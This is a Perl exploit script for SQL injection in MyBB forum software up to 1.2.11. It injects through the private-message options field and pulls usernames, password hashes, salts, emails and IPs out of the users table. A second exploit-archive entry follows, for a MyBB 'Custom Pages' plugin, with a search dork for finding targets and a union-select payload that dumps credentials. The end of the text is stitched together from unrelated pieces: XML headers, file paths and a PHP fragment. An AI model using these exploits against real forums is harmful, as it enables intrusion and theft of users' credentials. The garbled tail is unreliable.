#!/usr/bin/perl

#
# MyBB <=1.2.11 SQL Injection Exploit based on http://www.waraxe.us/advisory-64.html
#
# Needs MySQL >=4.1 and a valid registration.
#
# By F
#

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use HTML::Entities;

####

	print("\n");
	print("############################################################################\n");
	print("#                 MyBB <=1.2.11 SQL Injection Exploit by F                 #\n");
	print("############################################################################\n");

if(@ARGV<5){
	print("# Usage: perl mybb1211.pl host path user pass victim_uid [last_victim_uid] #\n");
	print("############################################################################\n");
	exit;
};

$host="http://".$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$pass=$ARGV[3];
$vid1=$ARGV[4];

if(@ARGV<=5){
	$vidn=$vid1;
}else{
	$vidn=$ARGV[5];
};

print("\n");
print(" [~] Host: ".$host."\n");
print(" [~] Path: ".$path."\n");
print(" [~] User: ".$user."\n");
print(" [~] Pass: ".$pass."\n");
print(" [~] From  #".$vid1."\n");
print(" [~] To    #".$vidn."\n");
print("\n");

####

# create $browser and $cookie_jar
$browser=LWP::UserAgent->new() or die(" [-] Cannot create new UserAgent\n");
$cookie_jar=HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);

# try to log in
$result=$browser->post(
	$host.$path."member.php",
	Content=>[
		"action"=>"do_login",
		"username"=>$user,
		"password"=>$pass,
		"url"=>$host.$path."index.php",
		"submit"=>"Login",
	],
);

# check cookie
if($cookie_jar->as_string=~m/mybbuser=.*?;/){
	print(" [+] Login successful\n");
}else{
	print(" [-] Login unsuccessful\n");
	exit;
};

# try to get uid
$result=$browser->get($host.$path."usercp.php");

# check result
if($result->as_string=~m/member\.php\?action=profile&amp;uid=([0-9]*?)"/){
	$uid=$1;
	print(" [+] Getting uid successful: ".$uid."\n");
}else{
	print(" [-] Getting uid unsuccessful\n");
	exit;
};

# construct exploit
$exploit ="yes','0','0'),";
$exploit.="('".$uid."','".$uid."','".$uid."','1','haxx_result','0',concat('(haxx_start)',";
for($vid=$vid1;$vid<=$vidn;$vid++){
	$exploit.="ifnull((select concat(uid,'-',username,':',password,':',salt,'::',email,'-',usergroup,'-',additionalgroups,'-',website,'-',regip,'(haxx_delim)') from mybb_users where uid=".$vid."),''),";
};
$exploit.="'(haxx_end)'),'".time()."','0','no','yes','0','0'),";
$exploit.="('".$uid."','".$uid."','".$uid."','1','haxx_message=0','0','nuthin0','".time()."','0','no','yes";

# try to send exploit
$result=$browser->post(
	$host.$path."private.php",
	Content=>[
		"action"=>"do_send",
		"subject"=>"haxx_message=".(1+rand(65536)),
		"message"=>"nuthin".(1+rand(65536)),
		"to"=>$user,
		"options[disablesmilies]"=>$exploit,
	],
);

# check if user is valid
if(	($result->as_string=~m/Your account has either been suspended or you have been banned from accessing this resource./) ||
	($result->as_string=~m/You do not have permission to access this page./) ||
	($result->as_string=~m/Your account may still be awaiting activation or moderation./)
){
	print(" [-] User has no permission to send private messages. This can happen if the user is suspended, banned, unactivated, or for other similar reasons.\n");
	exit;
};

# check the 5 minute cap
if($result->as_string=~m/You have already submitted the same private message to the same recipient within the last 5 minutes./){
	print(" [-] Unsuccessful attempt to fool MyBB with the 5 minute limit on sending private messages. Please run the exploit again.\n");
	exit;
};

# check if it successfully sent the messages -> REMOVED, does not work on some installations
#if($result->as_string=~m/Thank you, your private message has successfully been sent./){
	print(" [+] Sending messages was successful.\n");
#}else{
#	print(" [-] Sending messages was unsuccessful.\n");
#	print($result->as_string);
#	exit;
#};

# delete auxiliary messages
print(" [+] Deleting auxiliary messages.\n");
$result=$browser->get($host.$path."private.php?fid=1");
while($result->as_string=~m/private\.php\?action=read&amp;pmid=([0-9]*?)">haxx_message=[0-9]*?</g){
	$pmid=$1;
	$result=$browser->get($host.$path."private.php?action=delete&pmid=".$pmid);
	$result=$browser->get($host.$path."private.php?fid=1");
};

# download and delete messages
print(" [+] Exploit successful.\n");
print("\n");


while($result->as_string=~m/private\.php\?action=read&amp;pmid=([0-9]*?)">haxx_result</g){
	$pmid=$1;
	$result=$browser->get($host.$path."private.php?action=read&pmid=".$pmid);
	if($result->as_string=~m/\(haxx_start\)(.*)\(haxx_end\)/){
		$pm=$1;
		$pm=~s/\(haxx_delim\)/\n/g;
		$pm=decode_entities($pm);
		print($pm);
	};
	$result=$browser->get($host.$path."private.php?action=delete&pmid=".$pmid);
	$result=$browser->get($host.$path."private.php?fid=1");
};

###################################################################################
#										  #
# MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" - SQL Injection Vulnerability #
#										  #
#    found by: Lidloses_Auge 							  #
#    Contact (ICQ):  120946783							  #
#    Greetz to: free-hack.com							  #
#										  #
###############################################################################################################################################
#																	      #
# Vulnerability:															      #
#																	      #
#    Document:      pages.php														      #
#    GET-Parameter: page														      #
#																	      #
# Dork:																	      #
#																	      #
#    inurl:"pages.php" + intext:"powered by mybb"											      #
#																	      #
# Example:																      #
#																	      #
#    http://[target]/pages.php?page='union/**/select/**/1,unhex(hex(concat_ws(0x202d20,username,password))),3,4,5,6,7/**/FROM/**/mybb_users/* #
#																	      #
# Notes:																      #
#																	      #
#    Successrate depends on the permissions which could be set for viewing the 'page'						              #
#																	      #
###############################################################################################################################################

# milw0rm.com [2008-04-06]

<settings version="122" exported="1129013345">

<?xml version="1.0" encoding="UTF-8"?>
<theme name="MyBB Master Style" version="122">

/admin/modules/config/smilies.php
/inc/class_custommoderation.php
/inc/3rdparty/diff/Diff3.php
/inc/3rdparty/diff/Diff/Renderer/inline.php
/inc/3rdparty/diff/Diff/Renderer/unified.php
/inc/tasks/massmail.php

//USERCP AND PM CHANGES 
elseif($file == "usercp.php" || $file == "private.php") 
{ 
 if(function_exists("imagecreatefrompng") && $mybb->user['fws_warnings'] != 0) 
 { 
  if($mybb->user['fws_warnings'] <= 14 && $mybb->user['fws_warnings'] > 0) $addition = " ".fws_warning_colour($mybb->user['fws_warnings'].
"%"); 
  $fws_current_w_level = '<img src="fws.php?action=image&wl='.$mybb-
>user['fws_warnings'].'" alt="'.$mybb->user['fws_warnings'].'%" title="'.$mybb->user['fws_warnings'].'%" border="0" />'.$addition; 
 }